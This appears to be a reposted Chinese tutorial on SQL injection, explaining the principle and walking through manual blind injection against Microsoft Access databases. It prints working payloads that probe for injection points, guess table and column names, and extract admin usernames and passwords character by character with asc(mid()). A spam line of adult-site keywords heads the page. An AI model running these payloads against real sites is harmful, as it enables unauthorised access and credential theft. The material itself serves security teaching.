日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

SQL注入原理、常见思路之Access手工注入实战

發(fā)布時間:2023/12/19 综合教程 31 生活家
生活随笔 收集整理的這篇文章主要介紹了 SQL注入原理、常见思路之Access手工注入实战 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

注入攻擊

定義:注入攻擊發(fā)生在當(dāng)不可信的數(shù)據(jù)作為命令或者查詢語句的一部分, 被發(fā)送給解釋器的時候。攻擊者發(fā)送的惡意數(shù)據(jù)可以欺騙解釋器, 以執(zhí)行計劃外的命令或者訪問未被授權(quán)的數(shù)據(jù)。

注入攻擊常見類型有:

SQL 注入
OS 命令注入
XML 注入
LDAP 注入

SQL 注入定義:當(dāng)應(yīng)用程序?qū)⒂脩糨斎氲膬?nèi)容, 拼接到SQL 語句中, 一起提交給數(shù)據(jù)庫執(zhí)行時, 就會產(chǎn)生SQL 注入威脅。

在這個URL中“?”后面跟接的是查詢參數(shù),

SQL結(jié)構(gòu)化查詢語言:select * from news where id = 45;

           select * from news where id = 43;

id = 45來源于客戶的輸入,我們可以修改id = 43參數(shù)修改網(wǎng)頁的內(nèi)容。修改的參數(shù)如果拼接到SQL語句中被執(zhí)行,就說明這個地方存在注入漏洞。

注入點怎么判斷:

select * from news where id = 45 and 1 =1;

select * from news where id = 45 and 1 =2;

網(wǎng)頁并沒有報錯

看到數(shù)據(jù)庫出錯,說明SQL語句被執(zhí)行

逐字猜解法( 明小子、阿D 工具采用此方法)以下語法適用于Access數(shù)據(jù)庫

1 、判斷有無注入點

and 1 = 1
and 1 = 2

2 、猜表名( 一般的表的名稱無非是admin adminuser user pass password 等)

and (Select count(*) from 表名) < > 0

只要表存在,不為空就有數(shù)據(jù),上圖count為5,<>表示不等于0,5不等于0邏輯為真

and exists (select * from 表名)

name表不存在,數(shù)據(jù)庫報錯。我們要換一個角度,從開發(fā)者的角度去猜一個表名

說明存在admin這個表名,邏輯返回為真,網(wǎng)頁返回正常。

3 、猜列名

and (Select count(列名) from 表名) < > 0
and exists (select 列名from 表名)

username列名不存在

同樣的,我們判斷出在admin這個表里。存在admin字段、password字段

判斷admin這個字段只有1行。因為count等于1,1>0成立。1>1不成立

4、判斷內(nèi)容長度

and (select top 1 len(user_name )from admin)=5  #(user name 的長度= 5 , 正常則= 5 , 也可以用> , < 號去判斷)。top1 表示如果有10列結(jié)果只取第一列,mysql數(shù)據(jù)庫用limit

判斷用戶名admin長度為5,同樣的判斷password長度也為 5

5、截取字符串轉(zhuǎn)換為ascii 碼進(jìn)行數(shù)值比較, 判斷ascii碼值:

and (select top 1 asc(mid(user_name,1,1)) from admin)=97   #判斷第一位( 97 代表的 ‘a’ 的 ascii 值)
and (select top 1 asc(mid(user_name,2,1)) from admin)=97   #判斷第二位,(user_name,1,1)前面的‘1’代表第幾位,后面的‘1’代表取幾個字符

知道內(nèi)容的長度,我們逐一去比較每一個字符

判斷出admin字段的第一位ASCII碼值為97,因為97>97不成立,97>96成立,所以在拼接SQL語句時>97頁面報錯。

同理admin字段的第二位ASCII碼為100,根據(jù)這樣的步驟我們就能猜出admin字段和password字段,獲得管理員登錄的賬號密碼。

總結(jié)

只要是和數(shù)據(jù)庫交互的查詢參數(shù),能猜到并被帶到數(shù)據(jù)庫中查詢的,我們都可以認(rèn)為存在注入。如果數(shù)據(jù)傳遞不是URL,而是通過post表單,例如我們買東西生成的訂單號,不是自己輸入的,而是通過post傳遞到數(shù)據(jù)庫,我們可以在數(shù)據(jù)體中用burp抓包。一般存在注入點的地方包括輸入賬號密碼的表單,搜索功能等,只要是與數(shù)據(jù)庫交互的地方。

總結(jié)

以上是生活随笔為你收集整理的SQL注入原理、常见思路之Access手工注入实战的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。